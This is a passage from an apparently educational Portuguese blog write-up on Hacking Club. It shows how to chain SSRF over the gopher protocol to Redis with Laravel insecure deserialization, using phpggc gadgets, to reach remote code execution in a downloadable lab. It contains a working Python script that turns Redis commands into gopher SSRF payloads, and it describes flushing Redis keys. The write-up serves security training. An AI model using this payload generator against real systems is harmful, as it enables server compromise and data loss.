https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-07.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_22-07.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-07.png 1669w" sizes="(min-width: 720px) 720px"></figure><p>Veja que a aplica&#xE7;&#xE3;o aceitou o protocolo gopher e conseguiu estabelecer uma comunica&#xE7;&#xE3;o raw socket com o netcat. Podemos utilizar o script que criamos anteriormente para tentar comunica&#xE7;&#xE3;o com o Redis:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-15.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1906" height="926" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-15.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-15.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_22-15.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-15.png 1906w" sizes="(min-width: 720px) 720px"></figure><p>Com acesso ao redis, podemos inserir um gadget na nossa sess&#xE3;o para obtermos RCE no laravel atrav&#xE9;s da desserializa&#xE7;&#xE3;o insegura. Para gerarmos esses &quot;gadgets&quot; podemos utilizar o <a href="https://github.com/ambionics/phpggc?ref=blog.hackingclub.com">phpggc</a>. Fazendo um clone do reposit&#xF3;rio, podemos executar a ferramenta:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-23.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1272" height="515" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-23.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-23.png 1000w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-23.png 1272w" sizes="(min-width: 720px) 720px"></figure><p>Essa &#xE9; a lista de gadgets dispon&#xED;veis para explorar desserializa&#xE7;&#xE3;o insegura no Laravel. Gostamos muito do gadget Laravel/RCE10, pois ele n&#xE3;o possui null bytes na payload, assim facilitando a explora&#xE7;&#xE3;o. Gerando a payload:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-34.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1806" height="269" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-34.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-34.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_22-34.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-34.png 1806w" sizes="(min-width: 720px) 720px"></figure><p>Ao inserir essa payload na nossa sess&#xE3;o, o comando &quot;id&quot; vai ser executado no sistema. Para inserirmos essa payload na sess&#xE3;o precisamos executar o comando &quot;set &lt;KEY&gt; &lt;PAYLOAD&gt;&quot; no redis atrav&#xE9;s do SSRF. Primeiro precisamos listar as keys do Laravel para identificar a key que est&#xE1; armazenando a nossa sess&#xE3;o, ent&#xE3;o podemos executar um &quot;flushall&quot;, assim limpando todas as keys do redis, e em seguida recarregar a p&#xE1;gina para gerar outra sess&#xE3;o:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-55.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1881" height="780" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-55.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-55.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_22-55.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-55.png 1881w" sizes="(min-width: 720px) 720px"></figure><p>Recarregando a p&#xE1;gina no navegador geramos outra sess&#xE3;o, ent&#xE3;o ter&#xE1; apenas 1 key no redis:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-58.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1895" height="761" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_22-58.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_22-58.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_22-58.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_22-58.png 1895w" sizes="(min-width: 720px) 720px"></figure><p>Por&#xE9;m, precisamos gerar outra sess&#xE3;o, pois quando estava realizando alguns testes, descobrimos que ao enviar uma requisi&#xE7;&#xE3;o para o Laravel, ele reseta o conte&#xFA;do da sua sess&#xE3;o caso ele esteja alterado ou inv&#xE1;lido, e isso deu conflito com o ataque, pois para alterar o conte&#xFA;do precisamos enviar uma request, assim ele altera e logo depois reseta... Sim &#xE9; algo confuso. Para gerarmos outra sess&#xE3;o, podemos entrar na webapp pela guia an&#xF4;nima:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-02.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1893" height="664" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_23-02.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_23-02.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_23-02.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-02.png 1893w" sizes="(min-width: 720px) 720px"></figure><p>Listando as keys do redis novamente:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-03.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1901" height="774" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_23-03.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_23-03.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_23-03.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-03.png 1901w" sizes="(min-width: 720px) 720px"></figure><p>Vemos que uma segunda key foi criada. Inserindo a payload na sess&#xE3;o:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-16.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1906" height="937" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_23-16.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_23-16.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_23-16.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-16.png 1906w" sizes="(min-width: 720px) 720px"></figure><p>Esse erro aconteceu porque n&#xE3;o estamos utilizando o formato RESP para enviarmos os comandos para o Redis. O formato RESP utiliza a seguinte sintaxe:</p><p>Para executar <code>keys *</code></p><pre><code>*2
$4
keys
$1
*</code></pre><p>Primeiro precisamos especificar quantas palavras comp&#xF5;e o comando, depois precisamos especificar a quantidade de letras de cada palavra e em seguida a palavra. Ent&#xE3;o alteramos o script para fazer isso:</p><pre><code class="language-python3">import urllib.parse
import sys


def generate_payload_redis(command):
    command = command.split(&quot; &quot;)
    payload = f&quot;*{len(command)}\r\n&quot;

    for word in command:
        payload += f&quot;${len(word)}\r\n&quot;
        payload += f&quot;{word}\r\n&quot;

    return payload

def generate_payload(ip, command):
    command = generate_payload_redis(command)
    command += generate_payload_redis(&quot;quit&quot;)

    gopher_payload = f&quot;gopher://{ip}:6379/_{urllib.parse.quote(urllib.parse.quote(command))}&quot;
    return gopher_payload

if __name__ == &quot;__main__&quot;:
    ip = sys.argv[1]
    command = sys.argv[2]
    
    print(generate_payload(ip, command))</code></pre><p>Gerando a payload novamente:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-28.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1915" height="943" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_23-28.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_23-28.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_23-28.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-28.png 1915w" sizes="(min-width: 720px) 720px"></figure><p>Recarregando a p&#xE1;gina na guia an&#xF4;nima:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-29.png" class="kg-image" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling" loading="lazy" width="1697" height="620" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/04/2023-04-24_23-29.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/04/2023-04-24_23-29.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/04/2023-04-24_23-29.png 1600w, https://blog.hackingclub.com/content/images/2023/04/2023-04-24_23-29.png 1697w" sizes="(min-width: 720px) 720px"></figure><p>E finalmente RCE!</p><h3 id="download-do-laborat%C3%B3rio">Download do laborat&#xF3;rio:</h3><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling: RCE insecure desserialization via protocol smuggling</div><div class="kg-bookmark-description">RCE insecure desserialization via protocol smuggling - GitHub - crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling: RCE insecure desserialization via protocol smuggling</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">crowsec-edtech</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/d7afb329f0bf0a596d54bf4e492bdf7c78123d27a5b81f4e33bb61331abd2664/crowsec-edtech/Lab-insecure-desserialization-via-protocol-smuggling" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"></div></a></figure><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Exploiting Redis Through SSRF Attack</div><div class="kg-bookmark-description">Redis is an in-memory data structure store that is used to store data in the form of key-values and can be used as a database&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://cdn-static-1.medium.com/_/fp/icons/Medium-Avatar-500x500.svg" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"><span class="kg-bookmark-author">InfoSec Write-ups</span><span class="kg-bookmark-publisher">Muh. Fani Akbar</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://miro.medium.com/v2/resize:fit:784/0*_inzIHGbr3aWhCG-" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/ambionics/phpggc?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.</div><div class="kg-bookmark-description">PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. - GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() p...</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">ambionics</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/8ced750fc8aef7599e1d72fe73118eae40b2dbae061a3dfc4a9b13eb95a34d5b/ambionics/phpggc" alt="Explorando RCE via Desserializa&#xE7;&#xE3;o Insegura e SSRF Protocol Smuggling"></div></a></figure><h2 id="onde-praticar-hacking"><strong>Onde praticar Hacking ?</strong></h2><p>O Hacking Club &#xE9; uma plataforma de treinamento em cybersecurity, que permite voc&#xEA; aprender hacking de forma totalmente pr&#xE1;tica.</p><p>Temos mais de 50 ambientes com vulnerabilidades reais com write-ups para voc&#xEA; treinar e aprender hacking. Semanalmente lan&#xE7;amos<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com"> <strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e se desafiar no hacking!</p>]]></content:encoded></item></channel></rss>